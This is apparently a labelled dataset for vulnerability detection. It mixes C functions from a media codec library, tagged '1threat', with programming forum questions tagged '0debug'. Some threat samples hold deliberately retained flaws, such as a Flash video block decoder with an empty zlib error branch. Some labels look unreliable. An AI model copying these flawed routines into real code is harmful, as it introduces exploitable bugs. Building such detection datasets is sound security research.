return 1;
}
| 1threat
|
JS - Removing duplicate object in an array using lodash : <p>For example I have this array:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>0: {myfield: "1f974a20-aa59-11e8-9653-ab3419ed3bc9", order: 0, value: ""}
1: {myfield: "1f974a20-aa59-11e8-9666-ab3419ed3bc9", order: 0, value: ""}
2: {myfield: "1f974a20-aa59-11e8-9653-ab3419ed3bc9", order: 0, value: "One"}
3: {myfield: "af7401a0-aa6e-11e8-9653-ab3419ed3bc9", order: 1, value: "Two"}</code></pre>
</div>
</div>
</p>
<p>I wanna be able to loop through it and pop/remove older version of duplicated array, in this example I wanted to keep <strong>Object 2</strong> and pop/remove <strong>Object 0</strong> since they both have exact same myfield</p>
<p>Would it be possible to do this using lodash?</p>
| 0debug
|
static int flashsv_decode_block(AVCodecContext *avctx, AVPacket *avpkt,
GetBitContext *gb, int block_size,
int width, int height, int x_pos, int y_pos,
int blk_idx)
{
struct FlashSVContext *s = avctx->priv_data;
uint8_t *line = s->tmpblock;
int k;
int ret = inflateReset(&s->zstream);
if (ret != Z_OK) {
av_log(avctx, AV_LOG_ERROR, "Inflate reset error: %d\n", ret);
return AVERROR_UNKNOWN;
}
if (s->zlibprime_curr || s->zlibprime_prev) {
ret = flashsv2_prime(s,
s->blocks[blk_idx].pos,
s->blocks[blk_idx].size);
if (ret < 0)
return ret;
}
s->zstream.next_in = avpkt->data + get_bits_count(gb) / 8;
s->zstream.avail_in = block_size;
s->zstream.next_out = s->tmpblock;
s->zstream.avail_out = s->block_size * 3;
ret = inflate(&s->zstream, Z_FINISH);
if (ret == Z_DATA_ERROR) {
av_log(avctx, AV_LOG_ERROR, "Zlib resync occurred\n");
inflateSync(&s->zstream);
ret = inflate(&s->zstream, Z_FINISH);
}
if (ret != Z_OK && ret != Z_STREAM_END) {
}
if (s->is_keyframe) {
s->blocks[blk_idx].pos = s->keyframedata + (get_bits_count(gb) / 8);
s->blocks[blk_idx].size = block_size;
}
y_pos += s->diff_start;
if (!s->color_depth) {
for (k = 1; k <= s->diff_height; k++) {
memcpy(s->frame->data[0] + x_pos * 3 +
(s->image_height - y_pos - k) * s->frame->linesize[0],
line, width * 3);
line += width * 3;
}
} else {
decode_hybrid(s->tmpblock, s->frame->data[0],
s->image_height - (y_pos + 1 + s->diff_height),
x_pos, s->diff_height, width,
s->frame->linesize[0], s->pal);
}
skip_bits_long(gb, 8 * block_size);
return 0;
}
| 1threat
|
static void show_packet(AVFormatContext *fmt_ctx, AVPacket *pkt)
{
char val_str[128];
AVStream *st = fmt_ctx->streams[pkt->stream_index];
printf("[PACKET]\n");
printf("codec_type=%s\n", media_type_string(st->codec->codec_type));
printf("stream_index=%d\n", pkt->stream_index);
printf("pts=%s\n", ts_value_string(val_str, sizeof(val_str), pkt->pts));
printf("pts_time=%s\n", time_value_string(val_str, sizeof(val_str),
pkt->pts, &st->time_base));
printf("dts=%s\n", ts_value_string(val_str, sizeof(val_str), pkt->dts));
printf("dts_time=%s\n", time_value_string(val_str, sizeof(val_str),
pkt->dts, &st->time_base));
printf("duration=%s\n", ts_value_string(val_str, sizeof(val_str),
pkt->duration));
printf("duration_time=%s\n", time_value_string(val_str, sizeof(val_str),
pkt->duration,
&st->time_base));
printf("size=%s\n", value_string(val_str, sizeof(val_str),
pkt->size, unit_byte_str));
printf("pos=%"PRId64"\n", pkt->pos);
printf("flags=%c\n", pkt->flags & AV_PKT_FLAG_KEY ? 'K' : '_');
printf("[/PACKET]\n");
}
| 1threat
|
round robin in a array in langage c : Bonjour, comment implémenter un round robin en langage c pour un tableau de 4 éléments [1,2,3,4].
le résultat du programme doit afficher, pour chaque élément, la liste des joueurs auxquels il fera face
en ordre chronologique:
1: 4,2,3
2: 3,1,4
3: 2,4,1
4: 1,3,2
| 0debug
|
i want to get css/html/js codes without many files : <p>I have a found an amazing slider
which you can see in this link
<a href="http://flexslider.woothemes.com/basic-carousel.html" rel="nofollow">http://flexslider.woothemes.com/basic-carousel.html</a></p>
<p>i've downloaded it, but there is a lot of files
i just want the codes to use it directly
for example
css code
html code
js code</p>
<p>like in jsffiddle</p>
<p>Thanks guys</p>
| 0debug
|
How do we show window of window form in grid or viewbox of wpf : in xml file:
<viewbox name="viewbox1"></viewbox>
in C# code:
windowformClass window1 = new windowformClass(); // this is the oject of window form. not wpf
viewbox1.child = window1;
when i assign window1 to viewbox1 then it shows an error that cannot convert window form to system.window.elementUI
please tell me perfect solution
| 0debug
|
def count_binary_seq(n):
nCr = 1
res = 1
for r in range(1, n + 1):
nCr = (nCr * (n + 1 - r)) / r
res += nCr * nCr
return res
| 0debug
|
static void ready_codebook(vorbis_enc_codebook *cb)
{
int i;
ff_vorbis_len2vlc(cb->lens, cb->codewords, cb->nentries);
if (!cb->lookup) {
cb->pow2 = cb->dimentions = NULL;
} else {
int vals = cb_lookup_vals(cb->lookup, cb->ndimentions, cb->nentries);
cb->dimentions = av_malloc(sizeof(float) * cb->nentries * cb->ndimentions);
cb->pow2 = av_mallocz(sizeof(float) * cb->nentries);
for (i = 0; i < cb->nentries; i++) {
float last = 0;
int j;
int div = 1;
for (j = 0; j < cb->ndimentions; j++) {
int off;
if (cb->lookup == 1)
off = (i / div) % vals;
else
off = i * cb->ndimentions + j;
cb->dimentions[i * cb->ndimentions + j] = last + cb->min + cb->quantlist[off] * cb->delta;
if (cb->seq_p)
last = cb->dimentions[i * cb->ndimentions + j];
cb->pow2[i] += cb->dimentions[i * cb->ndimentions + j] * cb->dimentions[i * cb->ndimentions + j];
div *= vals;
}
cb->pow2[i] /= 2.;
}
}
}
| 1threat
|
How to encode Int as an optional using NSCoding : <p>I am trying to declare two properties as optionals in a custom class - a String and an Int. </p>
<p>I'm doing this in MyClass:</p>
<pre><code>var myString: String?
var myInt: Int?
</code></pre>
<p>I can decode them ok as follows:</p>
<pre><code>required init?(coder aDecoder: NSCoder) {
myString = aDecoder.decodeObjectForKey("MyString") as? String
myInt = aDecoder.decodeIntegerForKey("MyInt")
}
</code></pre>
<p>But encoding them gives an error on the Int line:</p>
<pre><code>func encodeWithCoder(aCoder: NSCoder) {
aCoder.encodeInteger(myInt, forKey: "MyInt")
aCoder.encodeObject(myString, forKey: "MyString")
}
</code></pre>
<p>The error only disappears when XCode prompts me to unwrap the Int as follows:</p>
<pre><code> aCoder.encodeInteger(myInt!, forKey: "MyInt")
</code></pre>
<p>But that obviously results in a crash. So my question is, how can I get the Int to be treated as an optional like the String is? What am I missing?</p>
| 0debug
|
void dsputil_init_mmx(DSPContext* c, AVCodecContext *avctx)
{
mm_flags = mm_support();
if (avctx->dsp_mask) {
if (avctx->dsp_mask & FF_MM_FORCE)
mm_flags |= (avctx->dsp_mask & 0xffff);
else
mm_flags &= ~(avctx->dsp_mask & 0xffff);
}
#if 0
av_log(avctx, AV_LOG_INFO, "libavcodec: CPU flags:");
if (mm_flags & MM_MMX)
av_log(avctx, AV_LOG_INFO, " mmx");
if (mm_flags & MM_MMXEXT)
av_log(avctx, AV_LOG_INFO, " mmxext");
if (mm_flags & MM_3DNOW)
av_log(avctx, AV_LOG_INFO, " 3dnow");
if (mm_flags & MM_SSE)
av_log(avctx, AV_LOG_INFO, " sse");
if (mm_flags & MM_SSE2)
av_log(avctx, AV_LOG_INFO, " sse2");
av_log(avctx, AV_LOG_INFO, "\n");
#endif
if (mm_flags & MM_MMX) {
const int idct_algo= avctx->idct_algo;
#ifdef CONFIG_ENCODERS
const int dct_algo = avctx->dct_algo;
if(dct_algo==FF_DCT_AUTO || dct_algo==FF_DCT_MMX){
if(mm_flags & MM_SSE2){
c->fdct = ff_fdct_sse2;
}else if(mm_flags & MM_MMXEXT){
c->fdct = ff_fdct_mmx2;
}else{
c->fdct = ff_fdct_mmx;
}
}
#endif
if(avctx->lowres==0){
if(idct_algo==FF_IDCT_AUTO || idct_algo==FF_IDCT_SIMPLEMMX){
c->idct_put= ff_simple_idct_put_mmx;
c->idct_add= ff_simple_idct_add_mmx;
c->idct = ff_simple_idct_mmx;
c->idct_permutation_type= FF_SIMPLE_IDCT_PERM;
#ifdef CONFIG_GPL
}else if(idct_algo==FF_IDCT_LIBMPEG2MMX){
if(mm_flags & MM_MMXEXT){
c->idct_put= ff_libmpeg2mmx2_idct_put;
c->idct_add= ff_libmpeg2mmx2_idct_add;
c->idct = ff_mmxext_idct;
}else{
c->idct_put= ff_libmpeg2mmx_idct_put;
c->idct_add= ff_libmpeg2mmx_idct_add;
c->idct = ff_mmx_idct;
}
c->idct_permutation_type= FF_LIBMPEG2_IDCT_PERM;
#endif
}else if((ENABLE_VP3_DECODER || ENABLE_VP5_DECODER || ENABLE_VP6_DECODER) &&
idct_algo==FF_IDCT_VP3 &&
avctx->codec->id!=CODEC_ID_THEORA &&
!(avctx->flags & CODEC_FLAG_BITEXACT)){
if(mm_flags & MM_SSE2){
c->idct_put= ff_vp3_idct_put_sse2;
c->idct_add= ff_vp3_idct_add_sse2;
c->idct = ff_vp3_idct_sse2;
c->idct_permutation_type= FF_TRANSPOSE_IDCT_PERM;
}else{
ff_vp3_dsp_init_mmx();
c->idct_put= ff_vp3_idct_put_mmx;
c->idct_add= ff_vp3_idct_add_mmx;
c->idct = ff_vp3_idct_mmx;
c->idct_permutation_type= FF_PARTTRANS_IDCT_PERM;
}
}else if(idct_algo==FF_IDCT_CAVS){
c->idct_permutation_type= FF_TRANSPOSE_IDCT_PERM;
}else if(idct_algo==FF_IDCT_XVIDMMX){
if(mm_flags & MM_MMXEXT){
c->idct_put= ff_idct_xvid_mmx2_put;
c->idct_add= ff_idct_xvid_mmx2_add;
c->idct = ff_idct_xvid_mmx2;
}else{
c->idct_put= ff_idct_xvid_mmx_put;
c->idct_add= ff_idct_xvid_mmx_add;
c->idct = ff_idct_xvid_mmx;
}
}
}
#ifdef CONFIG_ENCODERS
c->get_pixels = get_pixels_mmx;
c->diff_pixels = diff_pixels_mmx;
#endif
c->put_pixels_clamped = put_pixels_clamped_mmx;
c->put_signed_pixels_clamped = put_signed_pixels_clamped_mmx;
c->add_pixels_clamped = add_pixels_clamped_mmx;
c->clear_blocks = clear_blocks_mmx;
#ifdef CONFIG_ENCODERS
c->pix_sum = pix_sum16_mmx;
#endif
c->put_pixels_tab[0][0] = put_pixels16_mmx;
c->put_pixels_tab[0][1] = put_pixels16_x2_mmx;
c->put_pixels_tab[0][2] = put_pixels16_y2_mmx;
c->put_pixels_tab[0][3] = put_pixels16_xy2_mmx;
c->put_no_rnd_pixels_tab[0][0] = put_pixels16_mmx;
c->put_no_rnd_pixels_tab[0][1] = put_no_rnd_pixels16_x2_mmx;
c->put_no_rnd_pixels_tab[0][2] = put_no_rnd_pixels16_y2_mmx;
c->put_no_rnd_pixels_tab[0][3] = put_no_rnd_pixels16_xy2_mmx;
c->avg_pixels_tab[0][0] = avg_pixels16_mmx;
c->avg_pixels_tab[0][1] = avg_pixels16_x2_mmx;
c->avg_pixels_tab[0][2] = avg_pixels16_y2_mmx;
c->avg_pixels_tab[0][3] = avg_pixels16_xy2_mmx;
c->avg_no_rnd_pixels_tab[0][0] = avg_no_rnd_pixels16_mmx;
c->avg_no_rnd_pixels_tab[0][1] = avg_no_rnd_pixels16_x2_mmx;
c->avg_no_rnd_pixels_tab[0][2] = avg_no_rnd_pixels16_y2_mmx;
c->avg_no_rnd_pixels_tab[0][3] = avg_no_rnd_pixels16_xy2_mmx;
c->put_pixels_tab[1][0] = put_pixels8_mmx;
c->put_pixels_tab[1][1] = put_pixels8_x2_mmx;
c->put_pixels_tab[1][2] = put_pixels8_y2_mmx;
c->put_pixels_tab[1][3] = put_pixels8_xy2_mmx;
c->put_no_rnd_pixels_tab[1][0] = put_pixels8_mmx;
c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_mmx;
c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_mmx;
c->put_no_rnd_pixels_tab[1][3] = put_no_rnd_pixels8_xy2_mmx;
c->avg_pixels_tab[1][0] = avg_pixels8_mmx;
c->avg_pixels_tab[1][1] = avg_pixels8_x2_mmx;
c->avg_pixels_tab[1][2] = avg_pixels8_y2_mmx;
c->avg_pixels_tab[1][3] = avg_pixels8_xy2_mmx;
c->avg_no_rnd_pixels_tab[1][0] = avg_no_rnd_pixels8_mmx;
c->avg_no_rnd_pixels_tab[1][1] = avg_no_rnd_pixels8_x2_mmx;
c->avg_no_rnd_pixels_tab[1][2] = avg_no_rnd_pixels8_y2_mmx;
c->avg_no_rnd_pixels_tab[1][3] = avg_no_rnd_pixels8_xy2_mmx;
c->gmc= gmc_mmx;
c->add_bytes= add_bytes_mmx;
#ifdef CONFIG_ENCODERS
c->diff_bytes= diff_bytes_mmx;
c->sum_abs_dctelem= sum_abs_dctelem_mmx;
c->hadamard8_diff[0]= hadamard8_diff16_mmx;
c->hadamard8_diff[1]= hadamard8_diff_mmx;
c->pix_norm1 = pix_norm1_mmx;
c->sse[0] = (mm_flags & MM_SSE2) ? sse16_sse2 : sse16_mmx;
c->sse[1] = sse8_mmx;
c->vsad[4]= vsad_intra16_mmx;
c->nsse[0] = nsse16_mmx;
c->nsse[1] = nsse8_mmx;
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->vsad[0] = vsad16_mmx;
}
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->try_8x8basis= try_8x8basis_mmx;
}
c->add_8x8basis= add_8x8basis_mmx;
c->ssd_int8_vs_int16 = ssd_int8_vs_int16_mmx;
#endif
if (ENABLE_ANY_H263) {
c->h263_v_loop_filter= h263_v_loop_filter_mmx;
c->h263_h_loop_filter= h263_h_loop_filter_mmx;
}
c->put_h264_chroma_pixels_tab[0]= put_h264_chroma_mc8_mmx;
c->put_h264_chroma_pixels_tab[1]= put_h264_chroma_mc4_mmx;
c->h264_idct_dc_add=
c->h264_idct_add= ff_h264_idct_add_mmx;
c->h264_idct8_dc_add=
c->h264_idct8_add= ff_h264_idct8_add_mmx;
if (mm_flags & MM_MMXEXT) {
c->prefetch = prefetch_mmx2;
c->put_pixels_tab[0][1] = put_pixels16_x2_mmx2;
c->put_pixels_tab[0][2] = put_pixels16_y2_mmx2;
c->avg_pixels_tab[0][0] = avg_pixels16_mmx2;
c->avg_pixels_tab[0][1] = avg_pixels16_x2_mmx2;
c->avg_pixels_tab[0][2] = avg_pixels16_y2_mmx2;
c->put_pixels_tab[1][1] = put_pixels8_x2_mmx2;
c->put_pixels_tab[1][2] = put_pixels8_y2_mmx2;
c->avg_pixels_tab[1][0] = avg_pixels8_mmx2;
c->avg_pixels_tab[1][1] = avg_pixels8_x2_mmx2;
c->avg_pixels_tab[1][2] = avg_pixels8_y2_mmx2;
#ifdef CONFIG_ENCODERS
c->sum_abs_dctelem= sum_abs_dctelem_mmx2;
c->hadamard8_diff[0]= hadamard8_diff16_mmx2;
c->hadamard8_diff[1]= hadamard8_diff_mmx2;
c->vsad[4]= vsad_intra16_mmx2;
#endif
c->h264_idct_dc_add= ff_h264_idct_dc_add_mmx2;
c->h264_idct8_dc_add= ff_h264_idct8_dc_add_mmx2;
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->put_no_rnd_pixels_tab[0][1] = put_no_rnd_pixels16_x2_mmx2;
c->put_no_rnd_pixels_tab[0][2] = put_no_rnd_pixels16_y2_mmx2;
c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_mmx2;
c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_mmx2;
c->avg_pixels_tab[0][3] = avg_pixels16_xy2_mmx2;
c->avg_pixels_tab[1][3] = avg_pixels8_xy2_mmx2;
#ifdef CONFIG_ENCODERS
c->vsad[0] = vsad16_mmx2;
#endif
}
#if 1
SET_QPEL_FUNC(qpel_pixels_tab[0][ 0], qpel16_mc00_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 1], qpel16_mc10_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 2], qpel16_mc20_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 3], qpel16_mc30_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 4], qpel16_mc01_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 5], qpel16_mc11_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 6], qpel16_mc21_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 7], qpel16_mc31_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 8], qpel16_mc02_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 9], qpel16_mc12_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][10], qpel16_mc22_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][11], qpel16_mc32_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][12], qpel16_mc03_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][13], qpel16_mc13_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][14], qpel16_mc23_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[0][15], qpel16_mc33_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 0], qpel8_mc00_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 1], qpel8_mc10_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 2], qpel8_mc20_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 3], qpel8_mc30_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 4], qpel8_mc01_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 5], qpel8_mc11_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 6], qpel8_mc21_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 7], qpel8_mc31_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 8], qpel8_mc02_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 9], qpel8_mc12_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][10], qpel8_mc22_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][11], qpel8_mc32_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][12], qpel8_mc03_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][13], qpel8_mc13_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][14], qpel8_mc23_mmx2)
SET_QPEL_FUNC(qpel_pixels_tab[1][15], qpel8_mc33_mmx2)
#endif
#define dspfunc(PFX, IDX, NUM) \
c->PFX ## _pixels_tab[IDX][ 0] = PFX ## NUM ## _mc00_mmx2; \
c->PFX ## _pixels_tab[IDX][ 1] = PFX ## NUM ## _mc10_mmx2; \
c->PFX ## _pixels_tab[IDX][ 2] = PFX ## NUM ## _mc20_mmx2; \
c->PFX ## _pixels_tab[IDX][ 3] = PFX ## NUM ## _mc30_mmx2; \
c->PFX ## _pixels_tab[IDX][ 4] = PFX ## NUM ## _mc01_mmx2; \
c->PFX ## _pixels_tab[IDX][ 5] = PFX ## NUM ## _mc11_mmx2; \
c->PFX ## _pixels_tab[IDX][ 6] = PFX ## NUM ## _mc21_mmx2; \
c->PFX ## _pixels_tab[IDX][ 7] = PFX ## NUM ## _mc31_mmx2; \
c->PFX ## _pixels_tab[IDX][ 8] = PFX ## NUM ## _mc02_mmx2; \
c->PFX ## _pixels_tab[IDX][ 9] = PFX ## NUM ## _mc12_mmx2; \
c->PFX ## _pixels_tab[IDX][10] = PFX ## NUM ## _mc22_mmx2; \
c->PFX ## _pixels_tab[IDX][11] = PFX ## NUM ## _mc32_mmx2; \
c->PFX ## _pixels_tab[IDX][12] = PFX ## NUM ## _mc03_mmx2; \
c->PFX ## _pixels_tab[IDX][13] = PFX ## NUM ## _mc13_mmx2; \
c->PFX ## _pixels_tab[IDX][14] = PFX ## NUM ## _mc23_mmx2; \
c->PFX ## _pixels_tab[IDX][15] = PFX ## NUM ## _mc33_mmx2
dspfunc(put_h264_qpel, 0, 16);
dspfunc(put_h264_qpel, 1, 8);
dspfunc(put_h264_qpel, 2, 4);
dspfunc(avg_h264_qpel, 0, 16);
dspfunc(avg_h264_qpel, 1, 8);
dspfunc(avg_h264_qpel, 2, 4);
dspfunc(put_2tap_qpel, 0, 16);
dspfunc(put_2tap_qpel, 1, 8);
dspfunc(avg_2tap_qpel, 0, 16);
dspfunc(avg_2tap_qpel, 1, 8);
#undef dspfunc
c->avg_h264_chroma_pixels_tab[0]= avg_h264_chroma_mc8_mmx2;
c->avg_h264_chroma_pixels_tab[1]= avg_h264_chroma_mc4_mmx2;
c->avg_h264_chroma_pixels_tab[2]= avg_h264_chroma_mc2_mmx2;
c->put_h264_chroma_pixels_tab[2]= put_h264_chroma_mc2_mmx2;
c->h264_v_loop_filter_luma= h264_v_loop_filter_luma_mmx2;
c->h264_h_loop_filter_luma= h264_h_loop_filter_luma_mmx2;
c->h264_v_loop_filter_chroma= h264_v_loop_filter_chroma_mmx2;
c->h264_h_loop_filter_chroma= h264_h_loop_filter_chroma_mmx2;
c->h264_v_loop_filter_chroma_intra= h264_v_loop_filter_chroma_intra_mmx2;
c->h264_h_loop_filter_chroma_intra= h264_h_loop_filter_chroma_intra_mmx2;
c->h264_loop_filter_strength= h264_loop_filter_strength_mmx2;
c->weight_h264_pixels_tab[0]= ff_h264_weight_16x16_mmx2;
c->weight_h264_pixels_tab[1]= ff_h264_weight_16x8_mmx2;
c->weight_h264_pixels_tab[2]= ff_h264_weight_8x16_mmx2;
c->weight_h264_pixels_tab[3]= ff_h264_weight_8x8_mmx2;
c->weight_h264_pixels_tab[4]= ff_h264_weight_8x4_mmx2;
c->weight_h264_pixels_tab[5]= ff_h264_weight_4x8_mmx2;
c->weight_h264_pixels_tab[6]= ff_h264_weight_4x4_mmx2;
c->weight_h264_pixels_tab[7]= ff_h264_weight_4x2_mmx2;
c->biweight_h264_pixels_tab[0]= ff_h264_biweight_16x16_mmx2;
c->biweight_h264_pixels_tab[1]= ff_h264_biweight_16x8_mmx2;
c->biweight_h264_pixels_tab[2]= ff_h264_biweight_8x16_mmx2;
c->biweight_h264_pixels_tab[3]= ff_h264_biweight_8x8_mmx2;
c->biweight_h264_pixels_tab[4]= ff_h264_biweight_8x4_mmx2;
c->biweight_h264_pixels_tab[5]= ff_h264_biweight_4x8_mmx2;
c->biweight_h264_pixels_tab[6]= ff_h264_biweight_4x4_mmx2;
c->biweight_h264_pixels_tab[7]= ff_h264_biweight_4x2_mmx2;
#ifdef CONFIG_CAVS_DECODER
ff_cavsdsp_init_mmx2(c, avctx);
#endif
#ifdef CONFIG_ENCODERS
c->sub_hfyu_median_prediction= sub_hfyu_median_prediction_mmx2;
#endif
} else if (mm_flags & MM_3DNOW) {
c->prefetch = prefetch_3dnow;
c->put_pixels_tab[0][1] = put_pixels16_x2_3dnow;
c->put_pixels_tab[0][2] = put_pixels16_y2_3dnow;
c->avg_pixels_tab[0][0] = avg_pixels16_3dnow;
c->avg_pixels_tab[0][1] = avg_pixels16_x2_3dnow;
c->avg_pixels_tab[0][2] = avg_pixels16_y2_3dnow;
c->put_pixels_tab[1][1] = put_pixels8_x2_3dnow;
c->put_pixels_tab[1][2] = put_pixels8_y2_3dnow;
c->avg_pixels_tab[1][0] = avg_pixels8_3dnow;
c->avg_pixels_tab[1][1] = avg_pixels8_x2_3dnow;
c->avg_pixels_tab[1][2] = avg_pixels8_y2_3dnow;
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->put_no_rnd_pixels_tab[0][1] = put_no_rnd_pixels16_x2_3dnow;
c->put_no_rnd_pixels_tab[0][2] = put_no_rnd_pixels16_y2_3dnow;
c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_3dnow;
c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_3dnow;
c->avg_pixels_tab[0][3] = avg_pixels16_xy2_3dnow;
c->avg_pixels_tab[1][3] = avg_pixels8_xy2_3dnow;
}
SET_QPEL_FUNC(qpel_pixels_tab[0][ 0], qpel16_mc00_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 1], qpel16_mc10_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 2], qpel16_mc20_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 3], qpel16_mc30_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 4], qpel16_mc01_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 5], qpel16_mc11_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 6], qpel16_mc21_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 7], qpel16_mc31_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 8], qpel16_mc02_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][ 9], qpel16_mc12_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][10], qpel16_mc22_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][11], qpel16_mc32_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][12], qpel16_mc03_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][13], qpel16_mc13_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][14], qpel16_mc23_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[0][15], qpel16_mc33_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 0], qpel8_mc00_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 1], qpel8_mc10_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 2], qpel8_mc20_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 3], qpel8_mc30_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 4], qpel8_mc01_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 5], qpel8_mc11_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 6], qpel8_mc21_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 7], qpel8_mc31_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 8], qpel8_mc02_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][ 9], qpel8_mc12_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][10], qpel8_mc22_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][11], qpel8_mc32_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][12], qpel8_mc03_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][13], qpel8_mc13_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][14], qpel8_mc23_3dnow)
SET_QPEL_FUNC(qpel_pixels_tab[1][15], qpel8_mc33_3dnow)
#define dspfunc(PFX, IDX, NUM) \
c->PFX ## _pixels_tab[IDX][ 0] = PFX ## NUM ## _mc00_3dnow; \
c->PFX ## _pixels_tab[IDX][ 1] = PFX ## NUM ## _mc10_3dnow; \
c->PFX ## _pixels_tab[IDX][ 2] = PFX ## NUM ## _mc20_3dnow; \
c->PFX ## _pixels_tab[IDX][ 3] = PFX ## NUM ## _mc30_3dnow; \
c->PFX ## _pixels_tab[IDX][ 4] = PFX ## NUM ## _mc01_3dnow; \
c->PFX ## _pixels_tab[IDX][ 5] = PFX ## NUM ## _mc11_3dnow; \
c->PFX ## _pixels_tab[IDX][ 6] = PFX ## NUM ## _mc21_3dnow; \
c->PFX ## _pixels_tab[IDX][ 7] = PFX ## NUM ## _mc31_3dnow; \
c->PFX ## _pixels_tab[IDX][ 8] = PFX ## NUM ## _mc02_3dnow; \
c->PFX ## _pixels_tab[IDX][ 9] = PFX ## NUM ## _mc12_3dnow; \
c->PFX ## _pixels_tab[IDX][10] = PFX ## NUM ## _mc22_3dnow; \
c->PFX ## _pixels_tab[IDX][11] = PFX ## NUM ## _mc32_3dnow; \
c->PFX ## _pixels_tab[IDX][12] = PFX ## NUM ## _mc03_3dnow; \
c->PFX ## _pixels_tab[IDX][13] = PFX ## NUM ## _mc13_3dnow; \
c->PFX ## _pixels_tab[IDX][14] = PFX ## NUM ## _mc23_3dnow; \
c->PFX ## _pixels_tab[IDX][15] = PFX ## NUM ## _mc33_3dnow
dspfunc(put_h264_qpel, 0, 16);
dspfunc(put_h264_qpel, 1, 8);
dspfunc(put_h264_qpel, 2, 4);
dspfunc(avg_h264_qpel, 0, 16);
dspfunc(avg_h264_qpel, 1, 8);
dspfunc(avg_h264_qpel, 2, 4);
dspfunc(put_2tap_qpel, 0, 16);
dspfunc(put_2tap_qpel, 1, 8);
dspfunc(avg_2tap_qpel, 0, 16);
dspfunc(avg_2tap_qpel, 1, 8);
c->avg_h264_chroma_pixels_tab[0]= avg_h264_chroma_mc8_3dnow;
c->avg_h264_chroma_pixels_tab[1]= avg_h264_chroma_mc4_3dnow;
}
#ifdef CONFIG_ENCODERS
if(mm_flags & MM_SSE2){
c->sum_abs_dctelem= sum_abs_dctelem_sse2;
c->hadamard8_diff[0]= hadamard8_diff16_sse2;
c->hadamard8_diff[1]= hadamard8_diff_sse2;
}
#ifdef HAVE_SSSE3
if(mm_flags & MM_SSSE3){
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->try_8x8basis= try_8x8basis_ssse3;
}
c->add_8x8basis= add_8x8basis_ssse3;
c->sum_abs_dctelem= sum_abs_dctelem_ssse3;
c->hadamard8_diff[0]= hadamard8_diff16_ssse3;
c->hadamard8_diff[1]= hadamard8_diff_ssse3;
}
#endif
#endif
